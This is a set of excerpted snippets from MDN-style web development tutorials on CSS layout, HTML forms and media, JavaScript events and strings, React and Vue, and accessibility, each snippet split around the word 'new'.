... — see the assessment or further help section at the bottom of this page. project brief you have been provided with some raw html and an image, and need to write the necessary css to style this into a nifty little online business card, which can perhaps double as a gamer card or social media profile. the following sections describe what you need to do. basic setup: first of all, create a
new file in the same directory as your html and image files. call it something really imaginative like style.css. link your css to your html file via a <link> element. the first two rulesets in the css resource file are yours, for free! after you've finished rejoicing at your good fortune, copy and paste them into the top of your
new css file. use them as a test to make sure your css is properly ap...
...t so that it sticks to the right hand side of the main business card contents, and give it a max-height of 100% (a clever trick that ensures that it will grow/shrink to stay the same height as its parent container, regardless of what height it becomes.) beware! there are two errors in the provided rulesets. using any technique that you know, track these down and fix them before moving on.
new rulesets you need to write: write a ruleset that targets both the card header, and card footer, giving them both a computed total height of 50px (including a content height of 30px and padding of 10px on all sides.) but express it in ems. the default margin applied to the <h2> and <p> elements by the browser will interfere with our design, so write a rule that targets all these elements and s...
Handling different text directions - Learn web development
ight-to-left horizontally. so the block dimension is always the direction blocks are displayed on the page in the writing mode in use. the inline dimension is always the direction a sentence flows. this figure shows the two dimensions when in a horizontal writing mode. this figure shows the two dimensions in a vertical writing mode. once you start to look at css layout, and in particular the
newer layout methods, this idea of block and inline becomes very important. we will revisit it later on. direction in addition to writing mode we also have text direction. as mentioned above, some languages such as arabic are written horizontally, but right-to-left. this is not something you are likely to use in a creative sense — if you simply want to line something up on the right there are oth...
...n horizontally, but right-to-left. this is not something you are likely to use in a creative sense — if you simply want to line something up on the right there are other ways to do so — however it is important to understand this as part of the nature of css. the web is not just for languages that are displayed left-to-right! due to the fact that writing mode and direction of text can change,
newer css layout methods do not refer to left and right, and top and bottom. instead they will talk about start and end along with this idea of inline and block. don't worry too much about that right now, but keep these ideas in mind as you start to look at layout; you will find it really helpful in your understanding of css. logical properties and values the reason to talk about writing modes and ...
... to change the float. here we are also using logical margin values to ensure the margin is in the correct place no matter what the writing mode is. currently, only firefox supports flow relative values for float. if you are using google chrome or microsoft edge, you may find that the image did not float. should you use physical or logical properties? the logical properties and values are
newer than their physical equivalents, and therefore have only recently been implemented in browsers. you can check any property page on mdn to see how far back the browser support goes. if you are not using multiple writing modes then for now you might prefer to use the physical versions. however, ultimately we expect that people will transition to the logical versions for most things, as they make ...
Multiple-column layout - Learn web development
a basic example we will now explore how to use multiple-column layout, often referred to as multicol. ...
... a basic example we will now explore how to use multiple-column layout, often referred to as multicol. you can follow along by downloading the multicol starting point file and adding the css into the appropriate places. ...
...ing to take note of is that the rule does not take up any width of its own. it lies across the gap you created with column-gap. to make more space either side of the rule you will need to increase the column-gap size. spanning columns you can cause an element to span across all of the columns. in this case the content breaks when the spanning element is introduced and continues below creating a
new set of column boxes. to cause an element to span all of the columns use the column-span property set to all. note that it isn't possible to cause an element to span some columns. the property can only have the value of none (which is the default) or all. spanning the columns body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .conta...
Responsive design - Learn web development
le.com, or example.mobi). this meant that two separate versions of the site had to be developed and kept up-to-date. in addition, these mobile sites often offered a very cut down experience. as mobile devices became more powerful and able to display full websites, this was frustrating to mobile users who found themselves trapped in the site's mobile version and unable to access information they k
new was on the full-featured desktop version of the site. flexible layout before responsive design a number of approaches were developed to try to solve the downsides of the liquid or fixed-width methods of building websites. in 2004 cameron adams wrote a post entitled resolution dependent layout, describing a method of creating a design that could adapt to different screen resolutions. this approa...
...ch to web design or a set of best practices, used to create a layout that can respond to the device being used to view the content. in marcotte's original exploration this meant flexible grids (using floats) and media queries, however in the almost 10 years since that article was written, working responsively has become the default. modern css layout methods are inherently responsive, and we have
new things built into the web platform to make designing responsive sites easier. the rest of this article will point you to the various web platform features you might want to use when creating a responsive site. media queries responsive design was only able to emerge due to the media query. the media queries level 3 specification became a candidate recommendation in 2009, meaning that it was dee...
...hat you visit on your phone — it is probably fairly unusual to come across a site that is the desktop version scaled down, or where you need to scroll sideways to find things. this is because the web has moved to this approach of designing responsively. it has also become much easier to achieve responsive designs with the help of the layout methods you have learned in these lessons. if you are
new to web development today you have many more tools at your disposal than in the early days of responsive design. it is therefore worth checking the age of any materials you are referencing. while the historical articles are still useful, modern use of css and html makes it far easier to create elegant and useful designs, no matter what device your visitor views the site with. previous overvi...
CSS FAQ - Learn web development
backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. documents with an incomplete, incorrect, or missing doctype declaration or a known doctype declaration in common use before 2001 will be rendered in quirks mode. standards mode: the browser attempts to follow the w3c standards strictly.
new html pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern doctype declaration will be rendered with standards mode. gecko-based browsers, have a third almost standards mode that has only a few minor quirks. this is a list of the most commonly used doctype declarations that will trigger standards or almost standards mode: <!doctype html> /* t...
... assigning multiple classes to a single element can provide the same effect, and css variables now provide a way to define style information in one place that can be reused in multiple places. how do i assign multiple classes to an element? html elements can be assigned multiple classes by listing the classes in the class attribute, with a blank space to separate them. <style type="text/css"> .
news { background: black; color: white; } .today { font-weight: bold; } </style> <div class="
news today"> ... content of today's
news ... </div> if the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the css declarations. the order of classes in the class attribute is not relevant. why don't my style rules work properly? ...
...or's css style rules view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below. html elements hierarchy the way css styles are applied to html elements depends also on the elements hierarchy. it is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of css rules. .
news { color: black; } .corpname { font-weight: bold; color: red; } <!--
news item text is black, but corporate name is red and in bold --> <div class="
news"> (reuters) <span class="corpname">general electric</span> (ge.nys) announced on thursday... </div> in case of complex html hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style. ...
Advanced form styling - Learn web development
m controls was largely taken from the underlying operating system, which is part of the problem with customizing the look of these controls. the appearance property was created as a way to control what os- or system-level styling was applied to web form controls. unfortunately, the behavior of this property's original implementations was very different across browsers, making it not very usable.
newer implementations are more consistent in behavior; interestingly enough, both chromium-based browsers (chrome, opera, edge), safari, and firefox all support the -webkit- prefixed version (-webkit-appearance). firefox settled on this because web developers mostly seemed to be using the -webkit- prefixed version, so it was better for compatibility. if you look at the reference page you'll see a l...
... each of these types of control, highlighting difficulties along the way. selects and datalists in modern browsers, selects and datalists are generally not too bad to style provided you don't want to vary the look and feel too much from the defaults. we've managed to get the basic look of the boxes looking pretty uniform and consisent. the datalist control is <input type="text"> anyway, so we k
new this wouldn't be a problem. two things are slightly more problematic. first of all, the select's "arrow" icon that indicates it is a dropdown differs across browsers. it also tends to change if you increase the size of the select box, or resize in an ugly fashion. to fix this in our example we first used our old friend appearance: none to get rid of the icon altogether: select { -webkit-appea...
...st your skills: advanced styling. bear in mind that some questions in this assessment series assume knowledge of the next article too, so you might want to work through that article first before attempting it. summary while there are still difficulties using css with html forms, there are ways to get around many of the problems. there are no clean, universal solutions, but modern browsers offer
new possibilities. for now, the best solution is to learn more about the way the different browsers support css when applied to html form controls. in the next article of this module, we will explore the different ui pseudo-classes available to us in modern browsers for styling forms in different states. previous overview: forms next in this module your first form how to structure a we...
Client-side form validation - Learn web development
ociated <label> and a submit <button>. find the source code on github at fruit-start.html and a live example below. <form> <label for="choose">would you prefer a banana or cherry?</label> <input id="choose" name="i_like"> <button>submit</button> </form> input:invalid { border: 2px dashed red; } input:valid { border: 2px solid black; } to begin, make a copy of fruit-start.html in a
new directory on your hard drive. the required attribute the simplest html5 validation feature is the required attribute. to make an input mandatory, add this attribute to the element. when this attribute is set, the element matches the :required ui pseudo-class and the form won't submit, displaying an error message on submission when the input is empty. while empty, the input will also be consider...
... file: input:invalid { border: 2px dashed red; } input:invalid:required { background-image: linear-gradient(to right, pink, lightgreen); } input:valid { border: 2px solid black; } this css causes the input to have a red dashed border when it is invalid and a more subtle solid black border when valid. we also added a background gradient when the input is required and invalid. try out the
new behavior in the example below: note: you can find this example live on github as fruit-validation.html (see also the source code.) try submitting the form without a value. note how the invalid input gets focus, a default error message ("please fill out this field") appears, and the form is prevented from being sent. the presence of the required attribute on any element that supports this a...
...character limit seen on twitter when tweeting. javascript, including solutions using maxlength, can be used to provide this constraining the values of your entries for number fields (i.e. <input type="number">), the min and max attributes can be used to provide a range of valid values. if the field contains a value outside this range, it will be invalid. let's look at another example. create a
new copy of the fruit-start.html file. now delete the contents of the <body> element, and replace it with the following: <form> <div> <label for="choose">would you prefer a banana or a cherry?</label> <input type="text" id="choose" name="i_like" required minlength="6" maxlength="6"> </div> <div> <label for="number">how many would you like?</label> <input type="number" id="numb...
The HTML5 input types - Learn web development
previous overview: forms next in the previous article we looked at the <input> element, covering the original values of the type attribute available since the early days of html. now we'll look at the functionality of
newer form controls in detail, including some
new input types, which were added in html5 to allow collection of specific types of data. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand the
newer input type values available to create native form controls, and how to implement them using html. note: most of the features discussed in this article have wide support across browsers. we'll note any exceptions. if you want more detail on browser support, you should consult our html forms eleme...
...vices with dynamic keyboards like smart phones — a different virtual keypad might be presented that is more suitable for entering email addresses, including the @ key. see the firefox for android keyboard screenshot below for an example: note: you can find examples of the basic text input types at basic input examples (see the source code also). this is another good reason for using these
newer input types — improving the user experience for users of these devices. client-side validation as you can see above, email, along with other
newer input types, provides built-in client-side error validation — performed by the browser before the data gets sent to the server. it is a helpful aid to guide users to fill out a form accurately, and it can save time — it is useful to know that...
...tcontent = price.value; price.addeventlistener('input', function() { output.textcontent = price.value; }); here we store references to the range input and the output in two variables. then we immediately set the output's textcontent to the current value of the input. finally, an event listener is set to ensure that whenever the range slider is moved, the output's textcontent is updated to the
new value. note: range inputs are not supported in versions of internet explorer below 10. date and time pickers gathering date and time values has traditionally been a nightmare for web developers. for good user experience, it is important to provide a calendar selection ui, enabling users to select dates without necessating context switching to a native calendar application or potentially ente...
Dealing with files - Learn web development
computer, you should keep all the related files in a single folder that mirrors the published website's file structure on the server. this folder can live anywhere you like, but you should put it somewhere where you can easily find it, maybe on your desktop, in your home folder, or at the root of your hard drive. choose a place to store your website projects. inside your chosen place, create a
new folder called web-projects (or similar). this is where all your website projects will live. inside this first folder, create another folder to store your first website in. call it test-site (or something more imaginative). an aside on casing and spacing you'll notice that throughout this article, we ask you to name folders and files completely in lowercase with no spaces. this is because: ...
...what structure our test site should have. the most common things we'll have on any website project we create are an index html file and folders to contain images, style files, and script files. let's create these now: index.html: this file will generally contain your homepage content, that is, the text and images that people see when they first go to your site. using your text editor, create a
new file called index.html and save it just inside your test-site folder. images folder: this folder will contain all the images that you use on your site. create a folder called images, inside your test-site folder. styles folder: this folder will contain the css code used to style your content (for example, setting text and background colors). create a folder called styles, inside your test-site ...
...k down the file structure from index.html to our image, the file path we'd need is images/your-image-filename. for example, our image is called firefox-icon.png, so the file path is images/firefox-icon.png. insert the file path into your html code between the double quote marks of the src="" code. save your html file, then load it in your web browser (double-click the file). you should see your
new webpage displaying your image! some general rules for file paths: to link to a target file in the same directory as the invoking html file, just use the filename, e.g. my-image.jpg. to reference a file in a subdirectory, write the directory name in front of the path, plus a forward slash, e.g. subdirectory/my-image.jpg. to link to a target file in the directory above the invoking html f...
The web and web standards - Learn web development
ild a website for free, and anyone can contribute to the standards creation process, where the specs are written. because web technologies are created openly, in collaboration between many different companies, it means that no one company gets to control them, which is a really good thing. ...
...old web sites will still continue to work), and forwards compatible (future technologies in turn will be compatible with what we currently have). ...
...proposition than it used to be, and you'll have to put some time in to studying all the different technologies you need to use, all the techniques and best practices you need to know, and all the typical patterns you'll be called upon to implement. it'll take you a few months to really start to get into it, and then you'll need to keep learning so that your knowledge stays up-to-date with all the
new tools and features that appear on the web platform, and keep practicing and refining your craft. the only constant is change. does this sound hard? don't worry — we aim to give you everything you need to know to get started, and things will get easier. once you embrace the constant change and uncertainty of the web, you'll start to enjoy yourself. as a part of the web community, you'll have a...
Test your skills: Links - Learn web development
nk you can click to open up an email in the user's default mail application, with the recipient set as "whales@example.com". you'll get a bonus point if you also set it so that the subject line of the email is automatically filled in as "question about whales". note: the first link in the example has the target="_blank" attribute set on it, so that when you click on it, it opens the page in a
new tab. this is not strictly best practice, but we've done it here so that the page doesn't open in the embedded <iframe>, getting rid of your example code in the process! try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. links 2 in this task we want you to fill in the four links so...
...he uk google image search. the base url is https://www.google.co.uk, and the image search is located in a subdirectory called imghp. the fourth link should link to the paragraph at the very bottom of the current page. it has an id of bottom. note: the first three links in the example have the target="_blank" attribute set on them, so that when you click on them, they open the linked page in a
new tab. this is not strictly best practice, but we've done it here so that the pages don't open in the embedded <iframe>, getting rid of your example code in the process! try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. links 3 the following links link to an info page about narwhal...
... and a pdf factfile that is 4mb in size. in this task we want you to: take the existing paragraphs with poorly-written link text, and rewrite them so that they have good link text. add a warning to any links that need a warning added. note: the first and third links in the example have the target="_blank" attribute set on them, so that when you click on them, they open the linked page in a
new tab. this is not strictly best practice, but we've done it here so that the pages don't open in the embedded <iframe>, getting rid of your example code in the process! try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in ...
What’s in the head? Metadata in HTML - Learn web development
to the document. this however can get confused with the <h1> element, which is used to add a top level heading to your body content — this is also sometimes referred to as the page title. but they are different things! the <h1> element appears on the page when loaded in the browser — generally this should be used once per page, to mark up the title of your page content (the story title, or
news headline, or whatever is appropriate to your usage.) the <title> element is metadata that represents the title of the overall html document (not the document's content.) active learning: inspecting a simple example to start off this active learning, we'd like you to go to our github repo and download a copy of our title-example.html page. to do this, either copy and paste the code o...
... appropriate to your usage.) the <title> element is metadata that represents the title of the overall html document (not the document's content.) active learning: inspecting a simple example to start off this active learning, we'd like you to go to our github repo and download a copy of our title-example.html page. to do this, either copy and paste the code out of the page and into a
new text file in your code editor, then save it in a sensible place. press the "raw" button on the github page, which causes the raw code to appear (possibly in a
new browser tab). next, choose your browser's file > save page as... menu and choose a sensible place to save the file. now open the file in your browser. you should see something like this: it should now be completely obvious wh...
... given above, add <link> and <script> elements to your html, so that your css and javascript are applied to your html. if done correctly, when you save your html and refresh your browser you should be able to see that things have changed: the javascript has added an empty list to the page. now when you click anywhere on the list, a dialog box will pop up asking you to enter some text for a
new list item. when you press the ok button, a
new list item will be added to the list containing the text. when you click on an existing list item, a dialog box will pop up allowing you to change the item's text. the css has caused the background to go green, and the text to become bigger. it has also styled some of the content that the javascript has added to the page (the red bar with the black b...
Video and audio content - Learn web development
opular for handling such content. this kind of technology worked ok, but it had a number of problems, including not working well with html/css features, security issues, and accessibility issues. a native solution would solve much of this if implemented correctly. fortunately, a few years later the html5 specification had such features added, with the <video> and <audio> elements, and some shiny
new javascript apis for controlling them. we'll not be looking at javascript here — just the basic foundations that can be achieved with html. we won't be teaching you how to produce audio and video files — that requires a completely different skillset. we have provided you with sample audio and video files and example code for your own experimentation, in case you are unable to get hold of your...
...ext example: <video controls width="400" height="400" autoplay loop muted preload="auto" poster="poster.png"> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html video. here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> the resulting ui looks something like this: the
new features are: width and height you can control the video size either with these attributes or with css. in both cases, videos maintain their native width-height ratio — known as the aspect ratio. if the aspect ratio is not maintained by the sizes you set, the video will grow to fill the space horizontally, and the unfilled space will just be given a solid background color by default. autop...
...e enough programs out there to allow you to do this without too much trouble, such as miro video converter and audacity. we'd like you to have a go! if you are unable to source any video or audio, then you can feel free to use our sample audio and video files to carry out this exercise. you can also use our sample code for reference. we would like you to: save your audio and video files in a
new directory on your computer. create a
new html file in the same directory, called index.html. add <audio> and <video> elements to the page; make them display the default browser controls. give both of them <source> elements so that browsers will find the audio format they support best and load it. these should include type attributes. give the <video> element a poster that will be displayed be...
HTML table advanced features and accessibility - Learn web development
is, open up one of your previous examples that doesn't include <tbody> and look at the html code in your browser developer tools — you will see that the browser has added this tag for you. you might wonder why you ought to bother including it at all — you should, because it gives you more control over your table structure and styling. active learning: adding table structure let's put these
new elements into action. first of all, make a local copy of spending-record.html and minimal-table.css in a
new folder. try opening it in a browser — you'll see that it looks ok, but it could stand to be improved. the "sum" row that contains a summation of the spent amounts seems to be in the wrong place, and there are some details missing from the code. put the obvious headers row inside a <...
... and use them to make programmatic associations between those headers and the cells they relate to. the combination of column and row headers will identify and interpret the data in each cell so that screenreader users can interpret the table similarly to how a sighted user does. we already covered headers in our previous article — see adding headers with <th> elements. ...
... </tr> ... </tbody> note: this method creates very precise associations between headers and data cells but it uses a lot more markup and does not leave any room for errors. the scope approach is usually enough for most tables. active learning: playing with scope and headers for this final exercise, we'd like you to first make local copies of items-sold.html and minimal-table.css, in a
new directory. now try adding in the appropriate scope attributes to make this table more appropriate. finally, try making another copy of the starter files, and this time make the table more accessible using id and headers attributes. note: you can check your work against our finished examples — see items-sold-scope.html (also see this live) and items-sold-headers.html (see this live too). ...
Build your own function - Learn web development
want to append inside the <html> element. we need to do this as the element we created won't just appear on the page on its own — we need to specify where to put it. const panel = document.createelement('div'); panel.setattribute('class', 'msgbox'); html.appendchild(panel); the next two sections make use of the same createelement() and appendchild() functions we've already seen to create two
new elements — a <p> and a <button> — and insert them in the page as children of the panel <div>. we use their node.textcontent property — which represents the text content of an element — to insert a message inside the paragraph, and an 'x' inside the button. this button will be what needs to be clicked/activated when the user wants to close the message box. const msg = document.createeleme...
...ll. now open your browser developer tools on the example page, go to the javascript console and type the line again there, you'll see it appear again! so this is fun — we now have a reusable function that we can call any time we like. but we probably want it to appear in response to user and system actions. in a real application, such a message box would probably be called in response to
new data being available, or an error having occurred, or the user trying to delete their profile ("are you sure about this?"), or the user adding a
new contact and the operation completing successfully, etc. in this demo, we'll get the message box to appear when the user clicks the button. delete the previous line you added. next, we'll select the button and store a reference to it in a const...
...ages displayed in the box! a more complex parameter on to the next parameter. this one is going to involve slightly more work — we are going to set it so that depending on what the msgtype parameter is set to, the function will display a different icon and a different background color. first of all, download the icons needed for this exercise (warning and chat) from github. save them in a
new folder called icons in the same location as your html file. note: the warning and chat icons were originally found on iconfinder.com, and designed by nazarrudin ansyari — thanks! (the actual icon pages were since moved or removed.) next, find the css inside your html file. we'll make a few changes to make way for the icons. first, update the .msgbox width from: width: 200px; to wi...
Introduction to events - Learn web development
uttons.length; i++) { buttons[i].onclick = bgchange; } note that another option here would be to use the foreach() built-in method available on nodelist objects: buttons.foreach(function(button) { button.onclick = bgchange; }); note: separating your programming logic from your content also makes your site more friendly to search engines. addeventlistener() and removeeventlistener() the
newest type of event mechanism is defined in the document object model (dom) level 2 events specification, which provides browsers with a
new function — addeventlistener(). this functions in a similar way to the event handler properties, but the syntax is obviously different. we could rewrite our random color example to look like this: const btn = document.queryselector('button'); function bgchan...
...pecified in the second argument. this is impossible with event handler properties because any subsequent attempts to set a property will overwrite earlier ones, e.g.: element.onclick = function1; element.onclick = function2; etc. note: if you are called on to support browsers older than internet explorer 8, you may run into difficulties, as such ancient browsers use different event models from
newer browsers. but never fear, most javascript libraries (for example jquery) have built-in functions that abstract away cross-browser differences. don't worry about this too much at this stage in your learning journey. other event concepts in this section, we briefly cover some advanced concepts that are relevant to events. it is not important to understand these concepts fully at this point, bu...
... event bubbling and capture the final subject to cover here is something that you won't come across often, but it can be a real pain if you don't understand it. event bubbling and capture are two mechanisms that describe what happens when two handlers of the same event type are activated on one element. let's look at an example to make this easier — open up the show-video-box.html example in a
new tab (and the source code in another tab.) it is also available live below: this is a pretty simple example that shows and hides a <div> with a <video> element inside it: <button>display video</button> <div class="hidden"> <video> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <...
Useful string methods - Learn web development
textarea.value; } updatecode(); }; fixing capitalization in this exercise we have the names of cities in the united kingdom, but the capitalization is all messed up. we want you to change them so that they are all lower case, except for a capital first letter. a good way to do this is to: convert the whole of the string contained in the input variable to lower case and store it in a
new variable. grab the first letter of the string in this
new variable and store it in another variable. using this latest variable as a substring, replace the first letter of the lowercase string with the first letter of the lowercase string changed to upper case. store the result of this replace procedure in another
new variable. change the value of the result variable to equal to the final resu...
...the strings are data items that contain the three-letter station code, followed by some machine-readable data, followed by a semicolon, followed by the human-readable station name. for example: man675847583748sjt567654;manchester piccadilly we...
...wed by some machine-readable data, followed by a semicolon, followed by the human-readable station name. for example: man675847583748sjt567654;manchester piccadilly we want to extract the station code and name, and put them together in a string with the following structure: man: manchester piccadilly we'd recommend doing it like this: extract the three-letter station code and store it in a
new variable. find the character index number of the semicolon. extract the human-readable station name using the semicolon character index number as a reference point, and store it in a
new variable. concatenate the two
new variables and a string literal to make the final string. change the value of the result variable to equal to the final string, not the input. playable code 3 <h2>live out...
Test your skills: Object-oriented JavaScript - Learn web development
the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). oojs 1 in this task we provide you with a constructor. we want you to: add a
new method to the shape class's prototype, calcperimeter(), which calculates its perimeter (the length of the shape's outer edge) and logs the result to the console. create a
new instance of the shape class called square. give it a name of square and a sidelength of 5. call your calcperimeter() method on the instance, to see whether it logs the calculation result to the browser devtools' console as...
... call triangle.calcperimeter() to check that it works ok. ...
...the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. oojs 2 next up we want you to take the shape class you saw in task #1 (including the calcperimeter() method) and recreate it using es class syntax instead. test that it works by creating the square and triangle object instances as before (using
new shape() for both), and then calling their calcperimeter() methods. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. oojs 3 finally, we'd like you to start with the es shape class you created in the last task. we'd like you to create a square class that inherits from shape, and a...
Getting started with React - Learn web development
ommended that you use a modern browser like firefox, safari, or chrome when working through these tutorials. also, see the following for more information: "what is npm" on nodejs.org "introducing npx" on the npm blog the create-react-app documentation initializing your app create-react-app takes one argument: the name you'd like to give your app. create-react-app uses this name to make a
new directory, then creates the necessary files inside it. make sure you cd to the place you'd like your app to live on your hard drive, then run the following in your terminal: npx create-react-app moz-todo-react this creates a moz-todo-react directory, and does several things inside it: installs some npm packages essential to the functionality of the app. writes scripts for starting and servi...
...eact-app will display a number of messages in your terminal while it works; this is normal! this might take a few minutes, so now might be a good time to go make a cup of tea. when the process is complete, cd into the moz-todo-react directory and run the command npm start. the scripts installed by create-react-app will start being served at a local server at localhost:3000, and open the app in a
new browser tab. your browser will display something like this: application structure create-react-app gives us everything we need to develop a react application. its initial file structure looks like this: moz-todo-react ├── readme.md ├── node_modules ├── package.json ├── package-lock.json ├── .gitignore ├── public │ ├── favicon.ico │ ├── ...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
React resources - Learn web development
we used console.log() to check on the state and props of our application in this tutorial, and you'll also have seen some of the useful warnings and error message that react gives you both in the cli and your browser's javascript console. but there's more we can do here. the react devtools utility allows you to inspect the internals of your react application directly in the browser. it adds a
new panel to your browser's developer tools, and with it you can inspect the state and props of various components, and even edit state and props to make immediate changes to your application. this screenshot shows our finished application as it appears in react devtools: on the left, we see all of the components that make up our application, including some unique keys for the things that are ren...
...ets some edge cases better than reach router. react router is a larger library, however. reach router is well-suited to simpler applications, and automatically manages focus as the user navigates from page to page. focus management is essential in client-side routing — without it, keyboard users can be trapped in focus limbo, and screen-reader users may have no idea that they have moved to a
new page. because reach router is better for accessibility, it's a good place to start. there's one caveat, however: these projects will be merging in the near future. when this merge happens, react router will be the surviving project (with the addition of the focus management features of reach). previous overview: client-side javascript frameworks next in this module introduction to c...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Rendering a list of Vue components - Learn web development
item in an array. we'll use this to iterate through an array of to-do items and display them in our app in separate todoitem components. adding some data to render first we need to get an array of to-do items. to do that, we’ll add a data property to the app.vue component object, containing a todoitems field whose value is an array of todo items. while we'll eventually add a mechanism to add
new todo items, we can start with some mock to do items. each to-do item will be represented by an object with a name and a done property. add a few sample to-do items, along the lines of those seen below. this way you have some data available for rendering using v-for. export default { name: 'app', components: { todoitem }, data() { return { todoitems: [ { label: 'lea...
...ds, taken from the object in the app component. chance for a slight refactor there's one little bit of refactoring we can do here. instead of generating the id for the checkboxes inside your todoitem component, we can turn the id into a prop. while this isn't strictly necessary, it makes it easier for us to manage since we already need to create a unique id for each todo item anyway. add a
new prop to your todoitem component — id. make it required, and make its type a string. to prevent name collisions, remove the id field from your data attribute. you are no longer using uniqueid, so you need to remove the import uniqueid from 'lodash.uniqueid'; line, otherwise your app will throw an error. the <script> contents in your todoitem component should now look something like this: e...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Handling common accessibility problems - Learn web development
l features can be selected using only the keyboard — this is default behavior, available since the early days of the web. the elements that have this capability are the common ones that allow user to interact with web pages, namely links, <button>s, and form elements like <input>. you can try this out using our native-keyboard-accessibility.html example (see the source code) — open this in a
new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused. you can then press enter/return to follow a focused link or press a button (we've in...
...pages". next, you have to open your mac's system preferences app, then go to keyboard > shortcuts, then select the all controls radio button. safari doesn't allow you to tab through links by default; to enable this, you need to open safari's preferences, go to advanced, and check the press tab to highlight each item on a webpage checkbox. important: you should perform this kind of test on any
new page you write — make sure the functionality can be accessed by the keyboard. this example highlights the importance of using the correct semantic element for the correct job. it is possible to style any element to look like a link or button with css, and to behave like a link or button with javascript, but they won't actually be links or buttons, and you'll lose a lot of the accessibility th...
...-page app with a main content panel that is regularly updated using xmlhttprequest or fetch, a screenreader user might miss those updates. wai-aria do you need to use such complex functionality, or will plain old semantic html do instead? if you do need complexity, you should consider using wai-aria (accessible rich internet applications), a specification that provides semantics (in the form of
new html attributes) for items such as complex form controls and updating panels that can be understood by most browsers and screen readers. to deal with complex form widgets, you need to use aria attributes like roles to state what role different elements have in a widget (for example, are they a tab, or a tab panel?), aria-disabled to say whether a control is disabled or not, etc. to deal with re...
Client-side tooling overview - Learn web development
ing software for the web has become more sophisticated through the ages. although it is still entirely reasonable to write html, css, and javascript "by hand" there is now a wealth of tools that developers can use to speed up the process of building a web site, or app. there are some extremely well-established tools that have become common "household names" amongst the development community, and
new tools are being written and released every day to solve specific problems. you might even find yourself writing a piece of software to aid your own development process, to solve a specific problem that existing tools don’t already seem to handle. it is easy to become overwhelmed by the sheer number of tools that can be included in a single project. equally, a single configuration file for a to...
...ly web development is thought of as three languages: html, css, and javascript, and there are transformation tools for all of these languages. transformation offers two main benefits (amongst others): the ability to write code using the latest language features and have that transformed into code that works on everyday devices. for example, you might want to write javascript using cutting-edge
new language features, but still have your final production code work on older browsers that don’t support those features. good examples here include: babel: a javascript compiler that allows developers to write their code using cutting-edge javascript, which babel then takes and converts into old-fashioned javascript that more browsers can understand. developers can also write and publish pl...
...rtainly an order in which the different tooling types apply in the development lifecycle, but rest assured that you don't have to have all of these in place to release a website. in fact, you don't need any of these. however, including some of these tools in your process will improve your own development experience and likely improve the overall quality of your code. it often takes some time for
new developer tools to settle down in their complexity. one of the best known tools, webpack, has a reputation for being overly complicated to work with, but in the latest major release there was a huge push to simplify common usage so the configuration required is reduced down to an absolute minimum. there's definitely no silver bullet that will guarantee success with tools, but as your experience ...
Accessibility Information for Core Gecko Developers
the accessibility cache. unix accessibility project this document describes the sun accessibility project. join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...he sun accessibility project. join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...e chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.
newsgroup and mailing list we have two discussion lists, which can be read via a
newsgroup reader, as a mailing list or via google groups. ...
Accessibility/LiveRegionDevGuide
accessible2, there are two distinct event types - ia2_event_text_removed and ia2_event_text_inserted. the text associated with an at-spi text changed event is directly in the event object. the event.any_data field holds the entire text string while event.detail1 is the start index while event.detail2 is the text string length. in iaccessible2, iaccessibletext::get_oldtext and iaccessibletext::get_
newtext are used to acquire the text and offsets. filtering events text changed events certain web page mutation events, such as adding to a list, trigger both an object changed and a text changed event. both events should not be acted upon or double announcements would result. instead, all text changed events should be examined for the presence of an embed character. if one is present, the text...
